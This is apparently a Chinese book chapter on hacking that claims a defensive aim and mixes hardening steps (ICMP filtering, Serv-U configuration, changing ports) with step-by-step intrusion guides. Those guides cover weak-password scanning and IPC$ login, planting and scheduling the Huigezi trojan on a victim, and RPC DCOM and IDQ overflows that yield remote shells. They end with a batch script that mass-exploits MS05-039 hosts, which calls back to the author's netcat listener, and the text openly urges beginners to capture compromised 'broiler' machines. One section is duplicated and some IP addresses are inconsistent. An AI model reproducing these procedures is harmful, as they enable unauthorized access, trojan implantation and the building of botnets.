手把手教你如何防止黑客入侵
⇨⇦
【文章摘要】黑客入侵用户电脑，大多原因都是系统漏洞没有及时修补，才造成了恶意人有机可乘的＂后果＂。为了让大家能够更好的防御自己的电脑，笔者将会在本章详细讲解关于系统漏洞的攻防方法，让其读者在体验攻击的快感同时，还能更好的防御自己的电脑。
利用系统自身的缺陷，进行各种入侵向来就是黑客常得手的重要途径，特别是对于防范意识较差的用户来说更容易让黑客得手。如果你是一位了解计算机网络知识的读者，想必一定知道Ping命令，是网管们常常用来检查网络是否畅通的命令，可是这个命令也能给Windows系统带来严重的后果，那就是Ping入侵即ICMP攻击。本文以Windows 2000操作系统为例，利用其自身的IP策略来阻止ICMP攻击。这里首先依次单击＂开始＂→＂运行＂选项，在弹出的＂运行＂对话框内，输入＂MMC＂命令回车，此时就会弹出＂控制台＂对话框（图1）。
图1弹出控制台对话框
然后我们单击＂控制台＂标签，选择里面＂添加/删除管理单元＂选项，从中我们添加一个＂IP安全策略管理＂规则到控制台（图2）。
图2选择IP安全策略管理选项
接下来如果你想创建IP安全策略，请在＂控制台＂对话框内，右击所添加的＂IP安全策略管理＂标签，选择里面＂创建IP安全策略＂选项，这样就可进入到创建IP安全策略规则的向导对话框内（图3）（图4）。
图3创建IP安全策略
图4进入到IP安全策略向导对话框这里在＂名称＂标签的文本处，输入＂ping＂字母后，一路单击＂下一步＂按钮，到＂默认响应规则身份验证方式＂界面，从中选择＂此字串用来保护密钥交换（预共享密钥）＂的单选框后，在其文本处输入＂123＂数字，这样其安全规则身份验证方式，就会以字串来保护密钥交换了，而后单击＂下一步＂按钮直到完成结束（图5）。
图5选择此字串用来保护密钥交换（预共享密钥）的单选框
操作完毕后，在以上所创建的＂Ping属性＂对话框内，单击＂添加＂按钮，在弹出的＂安全规则＂向导对话框里，继续一路单击＂下一步＂按钮到＂身份验证方法＂界面，从中再次选中＂此字串用来保护密钥交换（预共享密钥）＂的单选框，并且在其文本处输入＂123＂数字，单击＂下一步＂按钮，就可进入到＂IP筛选器列表＂界面（图6）。
图6进入到IP筛选器界面
单击＂添加＂按钮，在弹出的＂IP筛选器列表＂对话框内，将名称更改成ping后，再次单击＂添加＂按钮，此时在所弹出的＂筛选器向导＂对话框内，一路单击＂下一步＂按钮到＂IP协议类型＂界面，将选择协议类型设置为你想要阻挡的＂ICMP＂攻击协议（图7）。
图7选择ICMP协议列表而后继续单击＂下一步＂按钮直到完成，顺原路返回到＂IP筛选器列表＂对话框，然后开始开始设置防御ICMP攻击的策略，这里再次单击＂添加＂按钮，在弹出的＂安全规则向导＂对话框内，选择＂Ping＂单选框后，单击＂下一步＂按钮，在＂筛选器操作＂界面内，选中＂要求安全设置＂的单选框（图8）。
图8选中要求安全设置单选框
接下来单击＂下一步＂按钮，去掉＂编辑属性＂复选框上的勾后，单击＂完成＂按钮，即可将ICMP的防御策略设置成功，最后我们还需指派设置好的ICMP防御策略（图9）。
图9指派ping策略
这里在＂控制台＂对话框内，右击其创建成功的ping策略，选择＂指派＂选项，使其ICMP防御策略应用，从而本机以后就可具备防止ICMP数据包攻击的功能了。7.1.2系统漏洞扫描器的使用操作
如果我们将电脑比作一个大楼，那么主机入侵信息收集及分析，就如同大楼中部署若干个摄像头，在大楼发生盗窃事件之后，对摄像头中的影像进行分析，进而为报案和＂亡羊补牢＂做准备。因此扫描工具及其技能，是黑客们及其网管必备的工具，及必须掌握的攻防方法之一。
稳定性极强的流光扫描器
以下笔者将会针对网络上最常用的流光、X-SCAN扫描工具，做以详细的讲解。首先是流光扫描软件，它是国内最早的专业扫描软件，其功能强大、扫描速度快、可靠性强的三个特点，深受广大黑迷的喜爱。这里打开＂流光＂扫描界面，印入眼帘的是左侧扫描主界面， 如果你想对某主机进行扫描的话，请在相关的目标主机类型处，进行添加想要扫描的目标，例如这里想对http主机进行扫描（图10）。
图10添加想要扫描的Http主机
我们在目标主机的Http主机上方右击，依次选择＂编辑＂→＂添加＂选项，在弹出的＂添加主机（Http）＂对话框内，输入想要检测主机的域名地址，例如在其文本处输入www.hacker.com.cn后，单击＂确定＂按钮，便可将其添加的主机地址载入到扫描界面内（图11）（图12）。
图11添加Http主机
图12将想要扫描的主机载入到界面然后从中将载入的主机，以及Http主机的栏勾选上后，右击载入想要检测的主机，在弹出的快捷菜单内，单击＂探测＂选项，可以选择对主机开放的端口进行检测，还是对主机类型，以及其用户信息进行扫描，这里以检测主机开放端口为例，选择＂扫描主机端口＂选项，此时就会弹出＂端口探测设置＂对话框，从中设置好想要探测开放端口的范围（图13）。
图13设置想要扫描的端口范围
设置完毕后，单击＂确定＂按钮，此时就会立即对其主机进行端口扫描，稍等片刻后，便可弹出＂扫描结果＂给予用户提示（图14）。
图14正在对主机进行端口扫描
图15探测到所开放的系统端口从以上图中，我们得知目标主机开放了80和21端口，了解了这一切后，单击＂确定＂按钮将其关闭。接下来如果你不满足仅仅只对端口进行检测，还想对主机进行综合扫描的话，请依次单击上方＂探测＂→＂高级扫描工具＂选项，此时就会弹出＂高级扫描设置＂的对话框（图16）。
图16打开高级扫描设置对话框
在＂高级扫描设置＂对话框内，可以设置对一个IP段进行扫描检测，不过这里要注意的是扫描的主机数量，最好不要超过35台主机。然后在下面＂检测项目＂栏内，去掉一些不需要扫描的项目前的勾，以节省我们扫描检测的时间，最后单击＂确定＂按钮，便可按照设置对其IP段进行相关检测了。功能强大的Xscan扫描工具
大名鼎鼎的Xscan工具，是即流光之后的第二款著名扫描工具，其Xscan工具特点，不仅继承了流光超强的稳定性，而且它还支持多重系统漏洞的扫描，扩展性极强是一款非常不错的检测工具。
打开＂Xscan＂扫描界面，从中单击上方＂扫描参数＂按钮，在弹出的＂扫描参数＂对话框内，将指定IP范围内，输入想要扫描的目标主机IP，或者是域名地址（图17）。
图17输入想要扫描域名地址
然后依次选择左侧＂全局设置＂→＂扫描模块＂选项，在其右侧勾选想要扫描的＂项目＂复选框（图18）。
图18勾选上想要扫描的项目复选框
其他选项保持默认设置后，单击＂确定＂按钮，就可将想要扫描的目标锁定了，然后单击界面里的＂开始扫描＂按钮，此时就可根据我们之前设置的扫描项目，进行逐一检测了（图19）。
图19正在对锁定的目标主机进行检测
其结果会显示在右下方栏内，如果此时你已经找到了自己想要的信息，可以单击＂暂停扫描＂或者＂终止扫描＂按钮，停止以下的相关项目扫描，从而为自己节省一些检测时间。7.1.3IPC$漏洞入侵
IPC$漏洞入侵，已经成为网络黑客入侵系统的经典模式，尽管WindowsXP和Windows2003对于IPC的连接进行了极好的改进，但是Windows 2000系统一般架设的都是服务器，所以为了传输方便，管理员不会对其IPC做任何限制，因此IPC$漏洞的入侵得手率还是很高，这里笔者将会针对IPC$漏洞，其入侵方法做以详细讲解。
小提示：IPC是Internet Process Connection的缩写，IPC$是共享＂命名管道＂的资源，它对于程序间的通信很重要，一般网管在远程管理和查看计算机的共享资源时，会经常通过此服务来进行查看。
由于网上不是每台主机都会存在IPC，以及NT空口令漏洞，所以这里我们需要打开＂Xscan＂扫描界面，单击＂扫描参数＂按钮，在弹出＂扫描参数＂对话框内，默认选择的是左侧＂检测范围＂标签，我们在其右侧输入想要检测的IP段（图20）。
图20输入想要检测的IP段
操作完毕后，依次选择左侧＂全局设置＂→＂扫描模块＂选项，而后在其右侧勾选＂NT-Server弱口令＂前复选框后，单击＂确定＂按钮使其设置生效（图21）。
图21勾选NT-Server弱口令和Netbios信息前的复选框
接着会顺＂原路＂返回到软件界面，从中单击＂开始扫描＂按钮，此时便可对设置的IP段进行扫描。稍等片刻，就会在扫描软件的同一目录下，生成扫描结果的Html页面，我们将其打开后，其安全漏洞栏就会显示出其系统存在的漏洞（图22）。
图22显示出所检测到的系统漏洞
从以上图内，可以看到漏洞栏里的端口/服务是Netbios-ss，其实这个就是IPC$共享服务漏洞，而其后面所显示的口令，则是检测到其主机的管理员口令和密码。现在已万事俱备，只欠东风的时候，而其东风就是我们入侵主机的操作。7.1.3IPC$漏洞入侵
IPC$漏洞入侵，已经成为网络黑客入侵系统的经典模式，尽管WindowsXP和Windows2003对于IPC的连接进行了极好的改进，但是Windows 2000系统一般架设的都是服务器，所以为了传输方便，管理员不会对其IPC做任何限制，因此IPC$漏洞的入侵得手率还是很高，这里笔者将会针对IPC$漏洞，其入侵方法做以详细讲解。
小提示：IPC是Internet Process Connection的缩写，IPC$是共享＂命名管道＂的资源，它对于程序间的通信很重要，一般网管在远程管理和查看计算机的共享资源时，会经常通过此服务来进行查看。
由于网上不是每台主机都会存在IPC，以及NT空口令漏洞，所以这里我们需要打开＂Xscan＂扫描界面，单击＂扫描参数＂按钮，在弹出＂扫描参数＂对话框内，默认选择的是左侧＂检测范围＂标签，我们在其右侧输入想要检测的IP段（图20）。
图20输入想要检测的IP段
操作完毕后，依次选择左侧＂全局设置＂→＂扫描模块＂选项，而后在其右侧勾选＂NT-Server弱口令＂前复选框后，单击＂确定＂按钮使其设置生效（图21）。
图21勾选NT-Server弱口令和Netbios信息前的复选框
接着会顺＂原路＂返回到软件界面，从中单击＂开始扫描＂按钮，此时便可对设置的IP段进行扫描。稍等片刻，就会在扫描软件的同一目录下，生成扫描结果的Html页面，我们将其打开后，其安全漏洞栏就会显示出其系统存在的漏洞（图22）。
图22显示出所检测到的系统漏洞
从以上图内，可以看到漏洞栏里的端口/服务是Netbios-ss，其实这个就是IPC$共享服务漏洞，而其后面所显示的口令，则是检测到其主机的管理员口令和密码。现在已万事俱备，只欠东风的时候，而其东风就是我们入侵主机的操作。不过在入侵之前，我们需要配置好自己的后台木马，以便自己下次无需入侵，就可直接遥控主机。这里以灰鸽子木马为例，打开＂灰鸽子客户端＂界面，单击上方＂配置服务程序＂按钮，在弹出的＂服务器配置＂对话框内，默认切入的是＂自动上线设置＂标签，我们在其下方＂IP通知Http访问地址、DNS解析域名或固定IP＂内，将自己本机IP填入（图23）。
图23填入本机固定的IP地址
其他设置保持默认即可，而后单击＂生成服务器＂按钮，并且选择生成路径，便可立即成功生成灰鸽子服务端程序。这里笔者为了便于大家的记忆，将其生成好的服务端程序名称更改成11.exe，然后依次单击＂开始＂→＂运行＂选项，在弹出的＂运行＂对话框内，输入＂CMD＂命令回车，此时便可弹出＂CMD命令提示＂对话框（图24）。
图24打开系统自带的CMD命令窗口
接着在光标闪烁处，输入＂cd ＂命令回车，将当前目录切换到C盘根目录下，而后输入net use z.16.210.240(目标主机IP地址)ipc$ ＂123(目标主机上的管理员密码)＂ /user：＂administrator(管理员账号)＂回车，便可与目标主机成功建立空连接（图25）。
图25与目标主机建立空连接
而后在光标闪烁的位置处，输入＂net user＂命令回车，查看一下目标主机当前的用户列表（图26）。
图26查看远程目标主机用户列表可以从界面内，清楚的看见里面有个OK的用户，同时也证明了我们所拥有的权限是管理员权限。接下来在光标闪烁的位置处，输入＂Copy C:11.exe(本机配置的后门木马) z.16.210.240admin$＂命令回车，此时就会将本机木马11.exe上传到目标主机的admin共享目录下（图27）。
小提示：一般目标主机都会开放admin的共享目录，所以我们通常只要将木马上传到受害主机的admin目录内即可。当然如果管理员处于防范的心理，将admin目录关闭，而开放其他目录，你可以通过＂net view 目标IP＂的命令，来查看对方共享。
图27将本机后门木马上传到目标主机的admin目录内
接下来为了使木马运行，我们需要定制计划任务让其上传的木马运行，不过由于目标主机的当前系统时间我们不知道的因素，所以这里需在光标闪烁处，输入＂net time z.16.21.240＂命令，查看一下当前目标主机的系统时间（图28）。
图28查看目标主机的当前时间
查看到目标主机当前的系统时间，为下午09：14，那么我们定制的计划木马运行时间，就要比其目标系统主机时间晚几分钟，甚至时间更长。这里在光标闪烁的位置处，输入＂at z.16.210.240 21:17 11.exe＂的执行命令回车，这样上传到目标主机的11.exe木马就会在当天的下午9点17分运行，换句话说过两分钟运行木马（图29）。
图29设定计划任务使其上传的木马运行
两分钟过后，灰鸽子木马果然自动运行了，此时笔者查看了一下灰鸽子客户端程序，发现多出了一台肉鸡，其所显示的IP地址正是刚刚入侵的172.16.210.240，这样我们以后想操控其肉鸡时，无需再对其进行入侵，便可通过灰鸽子直接遥控了。7.1.4 Serv-U究极安全配置
众所周知，Serv-U FTP Server 是构建自己强力FTP服务器的一种软件，它能够帮助网管以最快的速度架设FTP服务器。也许是树大招风的原因，随着Serv-U FTP Server软件使用人数逐步增多的因素，黑客将攻击目标锁定到了该软件身上，使其频频告急并不断涌现出，一些能够致命的漏洞。因此笔者为了正在使用或者想用该软件网管的着想，特此写下Serv-U究极防御的安全配置篇，来防止黑客肆无忌惮的入侵。
Serv-U FTP Server软件的安装过程
首先是安装Serv-U FTP Server软件，这里笔者建议使用v6以上版本，这样可以自动减去一些底版本的致命漏洞。在网上下载完Serv-U FTP Server软件后，双击其安装程序，在弹出的＂安装向导＂对话框内（图30）。
图30弹出安装Serv-U FTP Server软件向导
勾选编辑＂I have checked my Mcafee……＂前的复选框，单击＂Next（下一步）＂按钮，进入到安装路径界面，其软件默认安装到C:ProgramFilesServ-U目录下，这个 默认安装目录想必黑客也应该知道，所以我们单击＂Browse（浏览）＂按钮，在弹出＂select Destination Directory＂对话框内，将安装目录进行选择更改，更改的越复杂越好，然后单击＂Ok＂按钮确认（图31）。
图31选择好安装路径
看看够复杂了吧，而后单击＂Next（下一步）＂按钮，在其界面内只勾选前两项复选框，来减少一些不必要的插件进行加载（图32）。
图32只勾选前两个复选框选项接下来继续单击＂Next（下一步）＂按钮，在上方文本处将默认的Serv-U FTP Server，改成任意的字母词汇，这样其开始菜单组里的文件夹名字，也会发生相应的变化（图33）。
图33更改上方默认的Serv-U FTP Server文本
操作完毕后，一路单击＂Next（下一步）＂按钮，便可对其默认的Serv-U FTP Server软件进行安装，当安装完成后，它会出现一个向导让你建立一个域和账号（图34）。
图34要求建立一个域和账号
这里单击＂Cancel＂按钮取消向导，而后在将桌面和开始菜单上，生成的该程序快捷方式删除。由于该软件是英文版的，所以网管在观看时会有障碍，这里请在Serv-U目录内，运行＂汉化补丁＂程序，此时就会弹出＂汉化向导＂对话框（图35）。
图35弹出汉化向导对话框
从中单击＂下一步＂按钮，进入到＂选择目标位置＂界面，这里我们单击＂浏览＂按钮，将其定位到Serv-U FTP Server软件的安装目录（图36）。
图36将其位置定位到Serv-U FTP Server软件的安装目录
而后便可一路单击＂下一步＂按钮，直接安装完相关的汉化插件结束。
小提示：如果你下载的Serv-U软件包，并没有附带该汉化程序，你可以自行去网上下载其汉化包即可。教你安全设置Serv-U FTP Server软件
虽然以上我们在安装Serv-U FTP Server软件时，做了简单的安全配置，但是面对来势凶猛的黑客，这些防御只是微不足道的，所以我们需在Serv-U FTP Server软件设置上下＂功夫＂。
这里打开＂Serv-U FTP Server软件＂界面，如果此时你想对软件密码进行设置，请依次选择左侧＂Serv-U服务器＂→＂<<本地服务器>>＂选项，然后在右侧勾选＂自动开始＂复选框后，单击＂设置/更改密码＂按钮，在弹出＂设置或更改管理员密码＂对话框内，就可为其设置一个复杂的管理员密码（图37）。<!--本地服务器-->
图37设置管理员密码
由于笔者之前没有对Serv-U设置密码，所以原来的密码就为空，然后在其下方输入自己想要设置的密码，单击＂确定＂按钮，便可使其设置的密码生效。另外为了安全起见，我们还需为Serv-U建立一个单独的管理账号，这里在桌面依次单击＂开始＂→＂管理工具＂→＂Internet服务管理器＂选项，在弹出的＂计算机管理＂对话框内，依次展开左侧到＂计算机管理＂→＂本地用户和组＂→＂用户＂选项处，从中新建立一个名为hack6用户，切记其密码一定要复杂免得被他人破解（图38）。
图38建立管理员账号
然后勾选＂用户不能更改密码＂和＂密码永不过期＂前的复选框后，单击＂创建＂按钮，便可立即创建一个名为hack6的用户。接着在＂计算机管理＂对话框，右侧找到并且右击该用户，选择＂属性＂选项(图39)。
图39右击刚刚创建的hack6用户此时就会弹出＂hack6属性＂对话框，从中切入至上方＂隶属于＂标签，选择里面的＂Users＂用户组，单击＂删除＂按钮，在点击＂确定＂使其生效便可（图40）。
图40选择Users用组将其删除
这样hack6账号就已经创建完毕了，不过要想将其应用到Serv-U服务器内，我们在桌面依次单击＂开始＂→＂管理工具＂→＂服务＂选项，在弹出的＂服务＂对话框内，找到并且双击＂Serv-U FTP 服务器＂名称，此时就会弹出＂Serv-U FTP 服务器的属性＂对话框（图41）。
图41弹出Serv-U FTP服务器的属性对话框
从中切入至上方＂登录＂标签，选中下方＂此账号＂的单选框，单击＂浏览＂按钮，在弹出的＂选择用户＂对话框内，选择刚才建立的＂hack6＂用户，单击＂确定＂按钮，就可将其载入到此账户文本内，接着在其密码处输入相关密码，单击＂确定＂按钮完成服务设置（图42）。
图42将刚才建立的账号hack6加载到Serv-U FTP服务器内
接下来打开＂运行＂对话框，在其文本内输入＂regedit32＂命令回车，便可打开＂注册表编辑器＂对话框。然后将其左侧组件依次展开到＂HKEY_LOCAL_MACHINESOFTWARECat Soft＂分支下，并将其分支选中（图43）。
图43将组件展开到Cat Soft分支下接着单击上方＂安全＂菜单，选择里面的＂权限＂选项，这时就会弹出＂Cat Soft的权限＂对话框，我们将其里面的用户名称全部删除，在单击＂添加＂按钮，将刚才建立的hack6添加进来，而后勾选其允许栏里的＂读取＂、＂完全控制＂选项，并单击＂确定＂按钮，让其拥有足够的权限来进行管理（图44）。
图44添加Hack6用户
除此之外，安装目录的权限也需要仔细设置，以免恶意人通过其他用户进行访问。由于笔者将Serv-U FTP Server安装到D盘，所以这里我们进入盘符为D盘，而后从中找到并且右击Serv-U FTP Server安装目录，选择＂属性＂选项，在弹出的＂属性＂对话框内，切入至＂安全＂标签（图45）。
图45弹出安装目录的属性对话框
我们将里面System用户删除，以防止黑客通过这个系统超级用户来访问安装目录，进行肆意破坏。等到删除完毕后，单击＂添加＂按钮，从中找到并加入的hack6用户，然后给予其用户除完全控制外的所有权限，单击＂确定＂按钮使其设置生效（图46）。
图46给安装目录加入hack6用户
这样黑客在不知道hack6用户密码时，要想从安装目录里找到想要的重要数据是不可能的，不过为了防止恶意人通过FTP用户进行做乱，我们需要对其内部用户进行权限设置，笔者这里的FTP服务器路径是e:web，那么我们就在E盘根目录处，找到并且右击＂web＂文件夹，选择＂属性＂选项，在弹出的＂属性＂对话框内，切入至上方＂安全＂标签（图47）。
图47切入至安全标签查看用户黑客除了针对3389端口扫描外，还会针对一些其他危险的端口进行检测，以下笔者将会针对一些比较常见的危险端口做一下修改。这里假设你架设了FTP服务器，其系统就会默认开放21端口，与其网络进行文件传输。因此黑客一旦嗅觉其端口的存在，它就会想法设法针对FTP展开猛烈攻击，所以为了隐藏FTP服务的存在，我可以将端口进行更改。 这里依次双击＂控制面板＂→＂管理工具＂→＂Internet信息服务＂选项，在弹出的＂Internet信息服务＂对话框内（图60）。
图60打开Internet信息服务对话框
右击左侧＂默认FTP站点＂标签，选择＂属性＂选项，此时就会弹出＂FTP站点属性＂对话框，默认切入至上方＂FTP站点＂标签（图61）。
图61弹出的FTP站点属性对话框
如果你要想修改FTP通讯的21端口，只要在其对话框内，将TCP端口里的21数字，更改成你想要的FTP通讯端口数便可。除此之外WEB站点的80端口，也可同样做相关修改，这里右击左侧＂默认Web站点＂标签，选择＂属性＂选项，在弹出的＂默认Web站点属性＂对话框内，只要将里面的TCP文本80端口，更改成你想要的端口后，单击＂确定＂按钮，便可同样将其WEB站点的通讯端口进行更改（图62）。
图62弹出的默认Web站点属性对话框
其他服务的修改端口方法均大同小异，这里就不做过多讲解了。如果你使用的FTP不是系统自带的工具，而是FTP服务的Serv-u管理软件，可在其界面左侧依次展开＂Serv-u服务器＂→＂本地服务器＂→＂域＂选项，然后选中自己新建的FTP服务器（图63）。
图63选中自己建立的FTP服务器
在右侧将FTP端口号里的21，更改成自己的想要通讯的FTP端口，即可单击下面＂应用＂按钮，使其更改的端口号生效。在经过对以上危险的端口修改后，相信黑客在对主机扫描时，将无法得到任何有价值的信息，即使得到我们所更改的端口号，它也无从分辨此端口开放代表系统哪个服务，所以攻击也就无法实施了。7.1.6RPC DCOM溢出漏洞攻击Remote Procedure Call (RPC)是Windows操作系统使用的一种远程调用协议，并且它提供了进程间交互通信机制，允许在某台计算机上运行程序，且在远程系统上执行相关代码。但是在提供方便的同时，RPC在处理畸形消息时却存在问题，远程攻击者可以利用这个漏洞进行拒绝服务攻击，从而等到系统崩溃后将自己权限进行提升，来控制其受害主机。
一般开放135端口的主机，几乎都会有该漏洞的存在，因此这里我为了确定攻击的目标，笔者拿出＂Superscan＂扫描工具，在其IP的起与结束处输入想要扫描的IP段，然后勾选＂端口范围＂单选框，并且在其后面输入135，单击＂开始扫描＂按钮后，即可进行检测（图64）。
图64检测到所开放的135主机
稍等片刻后，就会检测到很多台开放135端口的主机，我们从中随便挑选一台，进行溢出攻击便可。这里扫到的218.0.173.5的主机IP地址为例，打开＂运行＂对话框，在其文本内输入＂CMD＂命令回车，此时就会打开＂命令提示＂对话框（图65）。
图65打开命令提示对话框
我们将其默认的C盘目录，跳转并且进入到RPC溢出工具所在目录，然后在光标闪烁处输入＂Dcomrpc 1 218.0.173.5＂命令后回车，如果溢出成功，此时的目录就会自动跳转到System32下（图66）。
图66溢出成功后得到受害主机的Shell
这样我们就已经拥有了对方的Shell，而且其身份还是管理员权限，可以任由我们自己在其后台上，做修改、删除文件等操作。7.1.7 Idq漏洞攻击教程
风光了很久的Idq漏洞是经常被入侵者利用的漏洞之一，记得在中美黑客大战中，黑客们普遍利用该漏洞，入侵到对方的主机实施攻击。如今这种经典的漏洞，掐指一算＂风头＂已经过去5年了，不过笔者发现还是有很多主机存在该危险漏洞，以下就是关于其漏洞的入侵方法。
由于你可能不知道某台主机是否存在Idq漏洞，我们可以利用Xsan或者流光扫描器，对其
主机做/null.idq检测，如果发现有此结果出现，就代表它存在Idq漏洞。关于Xsan或者流光扫描器的使用，已经在前几节介绍过了，因此就不多加讲解了，这里笔者已经扫描到了一个存在Idq漏洞的主机。
于是打开Snake IIS溢出工具，在其界面的被攻击地址处，输入存在Idq漏洞IP地址，其后面端口为80，然后根据情况在＂操作系统类型＂列表内，选择与受害主机相对应的系统，并选中＂右侧溢出后，在一个端口监听＂的单选框后，从中输入想要监听的端口（图67）。
图67对目标主机实施溢出
当shellcode发送成功后，我依次单击＂开始＂→＂运行＂选项，在弹出的＂运行＂对话框内，输入＂Telnet 202.39.49.23（溢出目标主机的IP） 813（监听端口）＂命令后回车。如果成功稍等片刻后，就会Telnet到对方主机的Shell平台（图68）。
图68成功登陆到对方主机的shell平台
小提示： Telnet服务是本地计算机与远程计算机，进行连接通讯的一种终端服务，用户通过本地计算机登陆到远程计算机后，所拥有的身份为系统管理员权限。
利用Telnet命令登录到目标主机后，此时的你已经可以为所欲为的对其主机进行控制，比如做删除文件、修改文件、上传下载木马等操作，可见Idq漏洞一旦溢出成功，后果真实不堪设想。7.1.8批量溢出Ms05039漏洞主机
肉鸡是黑客新手成长的一个练手平台，但是对于刚接触黑客的新手来说，要想抓取肉鸡并非容易，一般他们都是通过找师傅给肉鸡的途径才能获取。那么难道黑客新手，真的只能通过师傅施舍肉鸡来获取吗？答案当然不是，以下笔者针对初级黑客量身订做了一套抓取肉鸡的方法，具体操作请看下文所示。
俗话说的好：＂工欲善其事，必先利其器＂，首先我们在操作之前，需要从网上下载s.exe扫描器和nc瑞士军刀监听、Ms05039漏洞溢出工具，然后在命令行下，将默认目录跳转到下载的s.exe扫描器目录处。
由于我们不知道哪台主机存在Ms05039漏洞，所以这里从中输入s tcp 218.1.0.0 218.1.128.255 445（端口） 120（线程，可以根据网络好坏调整大小） /save命令回车，便可对其218.1.0.0--218.1.128.255段的主机进行扫描，如果你想扫描其他主机段，只要将其IP段进行替换，其他保持原样即可。稍等片刻后，扫描结果会生成在S扫描器目录下的Result.txt内（图69）。
图69 扫描结果显示
小提示：以上命令参数Tcp，为本次扫描的方式是Tcp形式。而后其面的218.1.0.0 218.1.128.255为扫描的IP段，445为扫描端口，120为线程这个可以根据自己实际网速来定。
接下来打开＂CMD命令＂对话框，如果此时的目录并非Nc工具所在的目录，请将其默认目录跳转到NC工具目录下。然后从中输入＂nc -l -vv –p 想要监听的端口＂命令回车，对其本地某端口执行监听。当然你也可以像笔者一样，在一个Bat的批处理文件中，输入监听命令，然后执行其Bat批处理文件，同样可以达到监听本机端口的效果（图70）。
图70利用Nc瑞士军刀对本机1984端口进行监听
执行完以上监听后，为了方便自己的溢出，笔者在存有S扫描工具、Ms05039漏洞目录内，新建了一个记事本文档，然后在其文档内部，输入如下溢出命令：@for /f %%i in (result.txt) do ms05039 %%i 219.128.81.93 1984，接着将其保存为.Bat形式的批处理文件即可。操作完毕后，另外打开一个＂CMD命令＂窗口，从中运行其批处理文件，此时就可对其所扫到445主机，进行批量溢出，从而得到Shell，自行做上传木马、建立用户等任意操作（图71）。
图71自动对result.txt文本内的主机进行批量溢出
小提示：result.txt是我们之前所扫描到可用漏洞的主机群体，219.128.81.93则是自己的IP地址，1984是本机所监听的端口号。